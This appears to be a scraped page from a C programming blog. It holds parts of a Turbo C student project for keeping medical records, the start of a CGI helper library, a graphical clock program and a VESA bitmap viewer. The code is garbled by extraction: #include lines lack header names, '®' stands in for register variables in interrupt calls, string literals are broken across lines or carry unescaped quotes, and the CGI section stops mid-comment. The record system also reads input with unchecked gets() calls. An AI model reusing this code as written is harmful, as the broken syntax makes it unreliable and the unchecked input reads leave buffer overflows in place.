if(x>=192&&y==72&&x<=304&&y==72){textcolor(1);textbackground(6);clrscr();}//If statement for UPDATE RECORDS completed}/****************************************************************************//***********************For outsiders PATIENTENTRY*************************/OUTENTRY(){if(x>=32&&y==104&&x<=152&&y==104){ft=fopen("medical2.dat","r+");if(ft==NULL){ ft=fopen("medical2.dat","w+"); if(ft==NULL) { printf("cannot open file"); }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(7);textbackground(BLACK);highvideo();gotoxy(1,1);cprintf("Ú");for(a=2;a<79;a++){gotoxy(a,1);cprintf("Ä");}gotoxy(79,1);cprintf("¿");for(b=2;b<25;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,25);cprintf("À");for(a=2;a<79;a++){gotoxy(a,25);cprintf("Ä");}gotoxy(79,25);cprintf("Ù");for(b=2;b<25;b++){gotoxy(79,b);cprintf("³");}gotoxy(2,2);textcolor(BLACK+BLINK);textbackground(WHITE);lowvideo();cprintf(" OUTSIDER PATIENT ENTRY");textcolor(10);textbackground(8);highvideo();gotoxy(3,3);cprintf("Ú");gotoxy(4,2);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(77,3);cprintf("¿");for(a=4;a<20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a<20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a<21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a<21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a<79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);fseek(ft,0,SEEK_END);gotoxy(6,4);cprintf("Patient Number #");gotoxy(6,6);cprintf("Date->");
gotoxy(6,8);
cprintf("Patient Name->");
gotoxy(6,10);
cprintf("Age->");
gotoxy(6,12);
cprintf("Sex(M/F)->");
gotoxy(6,14);
cprintf("");
gotoxy(6,16);
cprintf("Medicine Desc.->");
do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(22,4);
flag=1;
fflush(stdin);
gets(out.patientno);
if(strlen(out.patientno)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("PATIENT NO. CANNOT BE LEFT BLANK");
getch();}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(12,6);
flag=1;
fflush(stdin);
gets(out.date);
if(strlen(out.date)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("DATE CAN NOT SET BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
textcolor(7);
highvideo();
gotoxy(20,8);
cprintf(" ");
flag=1;
gotoxy(20,8);
fflush(stdin);
gets(out.patient);
if(strlen(out.patient)==0 || strlen(out.patient)>25)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("PATIENT NAME CAN NOT SET BLANK OR >25");
getch();
}
}while(!flag);

gotoxy(11,10);
fflush(stdin);
scanf("%d",&out.age);

gotoxy(16,12);
fflush(stdin);
gets(out.sex1);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(22,16);
fflush(stdin);
gets(out.medicine);
if(strlen(out.medicine)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
textcolor(10);
highvideo();
cprintf("THIS FIELD CAN NOT BE SET BLANK");
getch();
}
}while(!flag);
fwrite(&out,sizeof(out),1,ft);
fclose(ft);
textcolor(10);
highvideo();
gotoxy(22,22);
cprintf("WANT TO ENTER ANOTHER RECORD->");
fflush(stdin);
another1=getche();
}while((another1=='y')||(another1=='Y'));
textbackground(6);
gotoxy(12,24);
cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....
");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}//If statement for Outsiders Patient entry completed
}

/*************************************************************************
**/

/************************SEARCH RECORDS For
Outsiders***********************/
SEARCHOUT()
{
if(x>=32&&y==112&&x<=152&&y==112){ft=fopen("medical2.dat","r+");if(ft==NULL){ ft=fopen("medical2.dat","w+"); if(ft==NULL) { printf("cannot open file"); }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(BLACK+BLINK);textbackground(7);gotoxy(3,2);cprintf(" SEARCH OUTSIDER PATIENT RECORD");textcolor(10);textbackground(BLACK);gotoxy(3,3);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,3);cprintf("Ú");gotoxy(77,3);cprintf("¿");for(a=4;a<20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a<20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a<21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a<21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=3;a<78;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();do{gotoxy(21,21);textbackground(8);cprintf(" ");flag=1;gotoxy(4,4);cprintf("Enter Patient No.->");
fflush(stdin);
gets(id);
if(strlen(id)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(25,21);
cprintf("THIS FIELD CAN NOT BE LEFT BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(21,21);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(4,5);
cprintf("
Enter Date->");
fflush(stdin);
gets(date1);
if(strlen(date1)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(25,21);
cprintf("ENTER DATE OF RECORD ENTRY");
getch();
}
}while(!flag);

gotoxy(4,7);
cprintf("
Enter Patient Name->");
fflush(stdin);
gets(name1);
textcolor(4);
gotoxy(4,9);
cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄ");
rewind(ft);
while(fread(&out,sizeof(out),1,ft)==1)
{
if(strcmp(id,out.patientno)==0)
{
textcolor(10);
textbackground(8);
highvideo();
gotoxy(6,8);
fflush(stdin);
cprintf("

Patient Name->%s",out.patient);
gotoxy(6,10);
cprintf("

Patient Age->%d",out.age);
gotoxy(6,12);
fflush(stdin);
cprintf("

Patient Sex->%s",out.sex1);
gotoxy(6,14);
fflush(stdin);
cprintf("

Medicine given->%s",out.medicine);
}
}
textcolor(10);
highvideo();
if(strcmp(id,out.patientno)!=0)
{
textcolor(10);
gotoxy(6,10);
cprintf("

SORRY,RECORD NOT PRESENT");
}

fclose(ft);
gotoxy(22,21);
cprintf("

WANT TO SEARCH ANOTHER RECORD(y/n)->");
fflush(stdin);
another=getche();
}while((another=='y')||(another=='Y'));
textbackground(6);
textcolor(10+BLINK);
gotoxy(17,23);
cprintf("

Press M to Return to Main Menu and Esc to Exit....");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}
}

/*************************************************************************
**/

/*****************************UPDATE RECORD FOR
Outsiders********************/
UPDATEOUT()
{
if(x>=192&&y==96&&x<=304&&y==96) { ft=fopen("medical2.dat","r+");if(ft==NULL){ ft=fopen("medical2.dat","w+"); if(ft==NULL) { printf("cannot open file"); }} do { textcolor(7); textbackground(8); clrscr(); restrictmouseptr(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(7); highvideo(); printf("Enter Patient No to Modify->");
fflush(stdin);
gets(updateno);
printf("

Enter Patient Name->");
fflush(stdin);
gets(update);
clrscr();
rewind(ft);
while(fread(&out,sizeof(out),1,ft)==1)
{
if(strcmp(updateno,out.patientno)==0)
{
gotoxy(2,2);
textcolor(BLACK+BLINK);
textbackground(WHITE);
lowvideo();
cprintf(" UPDATE PATIENT ENTRY
");
textcolor(10);
textbackground(8);
highvideo();
gotoxy(3,3);
cprintf("Ú");
gotoxy(4,2);
cprintf("
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄ");
gotoxy(77,3);
cprintf("¿");
for(a=4;a<20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a<20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a<21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a<21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a<79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}//textcolor(10);//textbackground(8);gotoxy(6,4);cprintf("Patient Number #");gotoxy(6,6);cprintf("Date->");
gotoxy(6,8);
cprintf("Patient Name->");
gotoxy(6,10);
cprintf("Age->");
gotoxy(6,12);
cprintf("Sex(M/F)->");
gotoxy(6,14);
cprintf("");
gotoxy(6,16);
cprintf("Medicine Desc.->");
do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(22,4);
flag=1;
fflush(stdin);
gets(out.patientno);
if(strlen(out.patientno)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("PATIENT NO. CANNOT BE LEFT BLANK");
getch();}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(12,6);
flag=1;
fflush(stdin);
gets(out.date);
if(strlen(out.date)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("DATE CAN NOT SET BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
textcolor(7);
highvideo();
gotoxy(20,8);
cprintf(" ");
flag=1;
gotoxy(20,8);
fflush(stdin);
gets(out.patient);
if(strlen(out.patient)==0 || strlen(out.patient)>25)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("PATIENT NAME CAN NOT SET BLANK OR >25");
getch();
}
}while(!flag);

gotoxy(11,10);
fflush(stdin);
scanf("%d",&out.age);

gotoxy(16,12);
fflush(stdin);
gets(out.sex1);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(22,16);
fflush(stdin);
gets(out.medicine);
if(strlen(out.medicine)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
textcolor(10);
highvideo();
cprintf("THIS FIELD CAN NOT BE SET BLANK");
getch();
}
}while(!flag);
fseek(ft,sizeof(out),SEEK_CUR);
fwrite(&out,sizeof(out),1,ft);
break;
}
}
fclose(ft);
textcolor(10);
highvideo();
gotoxy(22,22);
cprintf("WANT TO MODIFY ANOTHER RECORD->");
fflush(stdin);
another1=getche();
}while((another1=='y')||(another1=='Y'));
textbackground(6);
gotoxy(12,24);
cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....
");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}//If statement for Outsiders Patient entry completed
}

/*************************************************************************
**/

/***************************Delete records Form For
outsiders***************/
DELETEOUT()
{
if(x>=192&&y==88&&x<=304&&y==88) { ft=fopen("medical2.dat","r+");if(ft==NULL){ ft=fopen("medical2.dat","w+"); if(ft==NULL) { printf("cannot open file"); }} do { textbackground(8); textcolor(7); highvideo(); clrscr(); restrictmouseptr1(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(10); gotoxy(4,7); cprintf("Ú"); gotoxy(77,7); cprintf("¿"); for(a=8;a<20;a++) { gotoxy(4,a); cprintf("³"); } for(a=8;a<20;a++) { gotoxy(77,a); cprintf("³"); } gotoxy(4,20); cprintf("À"); gotoxy(77,20); cprintf("Ù"); textcolor(8+BLINK); textbackground(7); lowvideo(); gotoxy(4,6); cprintf(" DELETE OUTSIDER PATIENT RECORD"); textcolor(7); textbackground(8); highvideo(); for(a=3;a<79;a++) { for(b=5;b<6;b++) { gotoxy(a,b); cprintf("Û"); }} for(a=3;a<79;a++) { for(b=21;b<23;b++) { gotoxy(a,b); cprintf("Û"); }} for(b=6;b<22;b++) { gotoxy(3,b); cprintf("Û"); } for(b=6;b<22;b++) { gotoxy(78,b); cprintf("Û"); } textcolor(10); highvideo(); gotoxy(5,7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); gotoxy(5,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); textcolor(10); highvideo(); gotoxy(6,9); cprintf("Enter Patient No. to Delete->");
fflush(stdin);
gets(del);
fpt=fopen("medical6.dat","w+");
rewind(ft);
while(fread(&out,sizeof(out),1,ft)==1)
{
if(strcmp(out.patientno,del)!=0)
fwrite(&out,sizeof(out),1,fpt);
}
fclose(ft);
fclose(fpt);
remove("medical2.dat");
rename("medical6.dat","medical2.dat");
ft=fopen("medical2.dat","r+");
fclose(ft);
//fclose(fpt);
gotoxy(24,12);
cprintf("RECORD DELETED SUCCESSFULY");
gotoxy(18,14);
cprintf("WANT TO DELETE ANOTHER RECORD(y/n)->");
fflush(stdin);
another2=getche();
}while((another2=='y')||(another2=='Y'));
gotoxy(16,19);
textbackground(6);
cprintf(" Press M to Return to Main Menu or Esc to Exit.... ");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}
}

/*************************************************************************
**/

/****************************HELP
TOPICS*************************************/
HELPTOPICS()
{
//IF statement for HELP TOPICS started
if(x>=344&&y==56&&x<=456&&y==56){textbackground(1);textcolor(10);clrscr();restrictmouseptr();hidemouseptr();lowvideo();_setcursortype(_NOCURSOR);textcolor(YELLOW+BLINK);textbackground(4);gotoxy(1,1);cprintf(" WELCOME TO MEDICAL RECORD KEEPING SYSTEM " HELP" ");textcolor(10);textbackground(1);highvideo();gotoxy(2,3);cprintf("This system is built using mouse programming and drop downmenus.");gotoxy(2,4);cprintf("In this system you can Enter 'n' No. of Records.");gotoxy(2,6);cprintf("1 First option "FILE" can be selected by clicking on it.Clickevent will show a drop down menu,in which you can select any one of theoptions.First option is " ADD EMP .RECORD " which is used to adddetails about employee.The second option is" NEW ENTRY "which isused to enter the new record about patient.The third option is"SEARCH RECORD" which is used to search the record of any patient.");gotoxy(2,13);cprintf("2 Second menu is "EDIT",can be selected by clicking on it.theFirst option in drop down menu is"DELETE RECORD"which is used todelete a particular record of any patient.The second option is"SEARCHRECORD" which is used to search the record of a particular patient.");gotoxy(2,18);cprintf("3 Third menu is "HELP",which provide you information aboutusing the system.");gotoxy(2,20);cprintf("4 Fourth menu is "EXIT", used to quit from the system");textcolor(YELLOW);textbackground(RED);highvideo();gotoxy(2,25);cprintf(" Press Esc key to quit or M to return to MainMenu... ");a=getch();if(a==109){for(a=25;a>0;a--)
{
delay(10);
textbackground(8);
gotoxy(1,a);
cprintf("
");
}
main();
}
else
{
for(a=25;a>0;a--)
{
delay(10);
textbackground(8);
gotoxy(1,a);
cprintf("
");
}
exit(0);
}
}
}

/*************************************************************************
**/

/********************************About....********************************
***/
ABOUT()
{
if(x>=344&&y==64&&x<=456&&y==64)
{
//For HELP menu
gotoxy(47,5);
textcolor(BLACK);
textbackground(RED);
cprintf(" HELP ");
gotoxy(42,6);
highvideo();
textcolor(WHITE);
textbackground(1);
cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");
for(b=7;b<13;b++)
{
gotoxy(41,b);
textbackground(1);
cprintf(" ");
}//HELP menu ended

textcolor(10);
textbackground(RED);
highvideo();
for(a=25;a<=47;a++)
{
gotoxy(a,17);
cprintf("Ä");
}
gotoxy(39,48);
cprintf("¿");
gotoxy(24,17);
cprintf("Ú");

for(b=18;b<23;b++)
{
gotoxy(24,b);
cprintf("³");
}
gotoxy(24,23);
cprintf("À");
for(a=25;a<48;a++)
{
gotoxy(a,b=23);
cprintf("Ä");
}
gotoxy(48,23);
cprintf("Ù");
for(b=18;b<23;b++)
{
gotoxy(a=48,b);
cprintf("³");
}
gotoxy(25,18);
cprintf(" CREATED BY-: ");
gotoxy(25,19);
cprintf(" ");
gotoxy(25,20);
cprintf(" AMANJEET SINGH ");
gotoxy(25,21);
cprintf(" BCA IV Sem. ");
gotoxy(25,22);
cprintf(" IMS,DEHRADUN ");
}
}

Library of CGI related functions

2011-03-20T20:18:00.001-07:00

/*THIS FILE CONTAINS GENERAL CGI RELATED FUNCTIONS
FOR USE WITH CGI AND RELATED APPLICATIONS.
*/

#include
#include
#include

/*PROTOTYPES*/
typedef struct name_val_pair name_val_pair;
int readn(char *str,int n,FILE *stream);
int replaceall(char *src, const char *find, const char *rep);
char* geturlstr(void);
void decode(char *url);
void rem_ssi(char *chkstr);
name_val_pair* name_val(char *url);
long givcount(char*);

/*A GENERAL PURPOSE FUNCTION WHICH READS N CHARACTERS FROM STREAM AND
APPENDS '

CLOCK PROGRAM in C

2011-03-20T20:17:00.003-07:00

Code :
#include stdio.h
#include conio.h
#include stdlib.h
#include graphics.h
#include dos.h
#include math.h
void main()
{
struct time t;
void drawclock(void);
void intro(void);
void sound(void);
int gdriver=DETECT,gmode;
initgraph(&gdriver,&gmode,"D:\tc\bgi");
int i,j,k,s,m,h;
intro();
settextstyle(DEFAULT_FONT, HORIZ_DIR, 1);
drawclock();
gettime(&t);

if(t.ti_sec>15)
s=360-((t.ti_sec-15)*6);
else
s=90-(t.ti_sec*6);

if(t.ti_min>15)
m=360-((t.ti_min-15)*6);
else
m=90-(t.ti_min*6);

if( (t.ti_hour==0)||(t.ti_hour==1)||(t.ti_hour==2)||(t.ti_hour==3))
h=90-(t.ti_hour*30)-((t.ti_min/12)*6);
else if((t.ti_hour>=4)&&(t.ti_hour<=12)) h=360-((t.ti_hour-3)*30)-((t.ti_min/12)*6); else if((t.ti_hour>=13)&&(t.ti_hour<=23))
h=360-((t.ti_hour-15)*30)-((t.ti_min/12)*6);
else// if(t.ti_hour==12)
h=90-((t.ti_hour-12)*30)-((t.ti_min/12)*6);

for(k=0;k<=12;k++)
{
if(h==0)
h=360;
delay(1000);
drawclock();
for(j=0;j<=60;j++)
{
if(m==0)
m=360;
setcolor(4);
sector(320,150,m,m+1,75,75);
m=m-6;
delay(1000);
drawclock();
for(i=0;i<=60;i++)
{
setcolor(4);
sector(320,150,h,h+3,60,60);
setcolor(4);
sector(320,150,m,m+1,75,75);
if(s==0)
s=360;
setcolor(1);
sector(320,150,s,s+1,80,80);
sound();
s=s-6;
delay(1000);
drawclock();
if(kbhit())
exit(0);
}
setcolor(6);
sector(320,150,h,h+3,60,60);
}
}
getch();
}
void drawclock()
{
cleardevice();
setbkcolor(15);
setcolor(1);
circle(320,150,80);
setcolor(5);
circle(320,150,95);
circle(320,150,1);
outtextxy(314,58,"12");
outtextxy(268,70,"11");
outtextxy(235,105,"10");
outtextxy(233,147,"9");
outtextxy(241,190,"8");
outtextxy(273,225,"7");
outtextxy(318,238,"6");
outtextxy(362,225,"5");
outtextxy(392,190,"4");
outtextxy(403,147,"3");
outtextxy(393,105,"2");
outtextxy(361,70,"1");
outtextxy(302,200,"TILAK");
}
void intro()
{
int i;
int u=installuserfont("TSCR.CHR");
settextstyle(u,0,7);
outtextxy(175,100,"TILAK's");
outtextxy(250,200,"CLOCK");
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,100,50+i,110);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading....");

for( i=0;i<510;i++)
{
setcolor(4);
rectangle(50,100,50+i,110);
delay(5);
}

settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading......");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,200,50+i,210);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading........");

setfillstyle(SOLID_FILL,1);
fillellipse(320,205,6,6);
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..........");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,300,50+i,310);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading............");

for( i=0;i<510;i++)
{
setcolor(2);
rectangle(50,300,50+i,310);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..............");
delay(1000);
}
void sound()
{
sound(2000);
delay(100);
nosound();
}

C program to display bitmap images(*.bmp)

2011-03-20T20:17:00.001-07:00

Code :
#include stdio.h
#include conio.h
#include dos.h
#define DECLARE

#define VGALOW 0x101

typedef unsigned int UINT;
typedef unsigned char UCHAR;
struct VgaInfoBlock {
char signature[4];
short version;
char far *oemname;
long capabilities;
unsigned far *modes;
char buffer[238];
};

typedef struct
{
char red;
char green;
char blue;
}RGB;

struct VgaModeInfoBlock
{
UINT ModeAttributes;
UCHAR WinAAttributes;
UCHAR WinBAttributes;
UINT WindowGranularity;
UINT WinSize;
UINT WinASegment;
UINT WinBSegment;
void (far *WinFuncPtr)(void);
UINT BytesperScanLine;
UINT XResolution;
UINT YResolution;
UCHAR XCharSize;
UCHAR YCharSize;
UCHAR NumberOfPlanes;
UCHAR BitsPerPixel;
UCHAR NumberOfBanks;
UCHAR MemoryModel;
UCHAR BankSize;
UCHAR NumberOfImagePages;
UCHAR Reserved1;
UCHAR RedMaskSize;
UCHAR RedMaskPosition;
UCHAR GreenMaskSize;
UCHAR GreenMaskPosition;
UCHAR BlueMaskSize;
UCHAR BlueMaskPosition;
UCHAR ReservedMaskSize;
UCHAR ReservedMskPosition;
UCHAR DirectScreenModeInfo;
UCHAR Reserved2[216];
}modeinfo;

typedef enum
{
memPL = 3,
memPK = 4,
memRGB = 6,
memYUV = 7
}memModels;

typedef struct tagBMPHEADER
{
unsigned char bftype[2];
unsigned long bfsize;
unsigned int bfres1,bfres2;
unsigned long bfoffbits;
unsigned long bisize,biwidth,biheight;
unsigned int biplanes,bibitcount;
unsigned long
bicompression,bisizeimage,bixpelspermeter,biypelspermeter;
unsigned long biclrused,biclrimportant;
}BMPHEADER;
typedef struct tagRGBQUAD
{
unsigned char blue,green,red,rgbreserved;
}RGBQUAD;
typedef struct tagBMPINFO
{
BMPHEADER bmiheader;
RGBQUAD bmicolors[256];
}BMPINFO;

DECLARE int maxx,maxy;
DECLARE int xres,yres;
DECLARE int bytesperline;
DECLARE int curbank;
DECLARE unsigned int bankshift;
DECLARE int oldmode;
DECLARE char far *screenptr;
DECLARE void (far *bankswitch)(void);
DECLARE int pcolor,xp,yp;
DECLARE int ccolor;

DECLARE int GetVesaMode(void);
DECLARE void SetVseaMode(int);
DECLARE void setbank(int);
DECLARE void SetPalette(RGB pal[256]);
DECLARE void vinitgraph(int);
DECLARE void setwidth(int);
DECLARE void vclosegraph(void);
DECLARE void startaddr(int *,int *,int);
DECLARE void vputpixel(int,int,int);
DECLARE void SetPalette(RGB color[256]);
DECLARE char *ReadMemString(char far *);
DECLARE void showbitmap(char *infname,int xs,int ys);

void Vesa(int state)
{
union REGS reg;
reg.x.ax=0x4FFF;
reg.h.dl=(char ) state;
int86(0x10,®,®);
return ;
}

int GetSvgaInfo(struct VgaInfoBlock far *buffer)
{
struct REGPACK reg;
reg.r_ax = 0x4F00;
reg.r_es = FP_SEG(buffer);
reg.r_di = FP_OFF(buffer);
intr(0x10,®);
if(reg.r_ax==0x004F)
return 0;
else
return 1;
}

char *ReadMemString(char far *pointer)
{
char string[200];
int i=0;
while(*pointer)
{
string[i]=*pointer;
pointer++;
i++;
}
string[i]=0;
return string;
}

int GetSvgaModeInfo(int mode,struct VgaModeInfoBlock far *buffer)
{
struct REGPACK reg;
reg.r_ax = 0x4F01;
reg.r_es = FP_SEG(buffer);
reg.r_di = FP_OFF(buffer);
reg.r_cx=mode;
intr(0x10,®);
if(reg.r_ax!=0x004F)
return 1;
else
return 0;
}

int GetVesaMode(void)
{
union REGS in,out;
in.x.ax=0x4F03;
int86(0x10,&in,&out);
return out.x.bx;
}

void SetVesaMode(int mode)
{

struct REGPACK reg;
oldmode = GetVesaMode();
reg.r_ax = 0x4F02;
reg.r_bx=mode;
intr(0x10,®);
GetSvgaModeInfo(GetVesaMode(), &modeinfo);

xres = modeinfo.XResolution;
yres = modeinfo.YResolution;

maxx=xres;
bytesperline = modeinfo.BytesperScanLine;
bankshift = 0;
while((unsigned ) (64 >> bankshift)!= modeinfo.WindowGranularity)
bankshift++;
bankswitch = modeinfo.WinFuncPtr;
curbank=-1;
screenptr = (char far *)( ((long) 0xA000 )<<16 | 0);

return ;
}
void setbank(int bank)
{
  if(bank==curbank)
   return;
  curbank = bank;
bank<<=bankshift;
_BX=0;
_DX=bank;
bankswitch();
_BX=1;
bankswitch();
return ;
}

void SetPalette(RGB pal[256])
{
union REGS reg;
struct SREGS inreg;
reg.x.ax=0x1012;
segread(&inreg);
inreg.es = inreg.ds;
reg.x.bx=0;
reg.x.cx=256;
reg.x.dx=(int ) &pal[0];
int86x(0x10,®,®,&inreg);
return ;
}
void vputpixel(int x,int y,int c)
{
long addr = (long ) y * bytesperline + x;
setbank((int) (addr>>16));
*(screenptr+(addr & 0xFFFF))=(char) c;
return;
}
void setwidth(int width)
{
  union REGS in,out;
in.x.ax = 0x4F06;
in.x.bx=0x0000;
in.x.cx=width;
int86(0x10,&in,&out);

bytesperline = (int ) out.x.bx;
maxy = (int ) out.x.dx;
maxx = (int ) out.x.cx;
return ;
}
void vinitgraph(int mode)
{
SetVesaMode(mode);
setwidth(xres);
return ;
}

void vclosegraph(void)
{
vinitgraph(oldmode);
/* union REGS regs;
regs.h.ah = 0x00;
regs.h.al = 0x03;
int86(0x10, ®s, ®s);*/
maxx=xres;
}
void startaddr(int *xs,int *ys,int mode)
{
  union REGS in,out;
in.x.ax = 0x4F07;
if(mode==0)
{
  in.x.bx=0x0000;
  in.x.cx=*xs;
  in.x.dx = *ys;
}
else
in.x.bx = 0x0001;
int86(0x10,&in,&out);
if(mode==1)
{
   *xs = out.x.cx;
   *ys = out.x.dx;
}
return ;

}

char ISValidBitmap(char *fname)
{
BMPINFO bmpinfo;
FILE *fp;
if((fp = fopen(fname,"rb+"))==NULL)
{
  printf("
Unable open the file %s",fname,"!!");
  return 0;
}

fread(&bmpinfo,sizeof(bmpinfo),1,fp);
fclose(fp);
if(!(bmpinfo.bmiheader.bftype[0]=='B' &&
bmpinfo.bmiheader.bftype[1]=='M'))
{
  printf("
can't read the file: not a valid BMP file!");
  return 0;
}

if(!bmpinfo.bmiheader.bicompression==0)
{
  printf("
can't read the file: should not be a RLR encoded!!");
  return 0;
}
if(!bmpinfo.bmiheader.bibitcount==8)
{
printf("can't read the file: should be 8-bit per color format!!");
return 0;
}

return 1;
}

void showbitmap(char *infname,int xs,int ys)
{
BMPINFO bmpinfo;
RGB pal[256];
FILE *fpt;
int i,j,w,h,c,bank;
unsigned char byte[1056];
long addr;
unsigned int k;
if((fpt=fopen(infname,"rb+"))==NULL)
{
  printf("
Error opening file ");
  getch();
  return 1;
}

fread(&bmpinfo,sizeof(bmpinfo),1,fpt);
fseek(fpt,bmpinfo.bmiheader.bfoffbits,SEEK_SET);
w = bmpinfo.bmiheader.biwidth;
h = bmpinfo.bmiheader.biheight;
for(i=0;i<=255;i++)
{
pal[i].red = bmpinfo.bmicolors[i].red/4;
pal[i].green = bmpinfo.bmicolors[i].green/4;
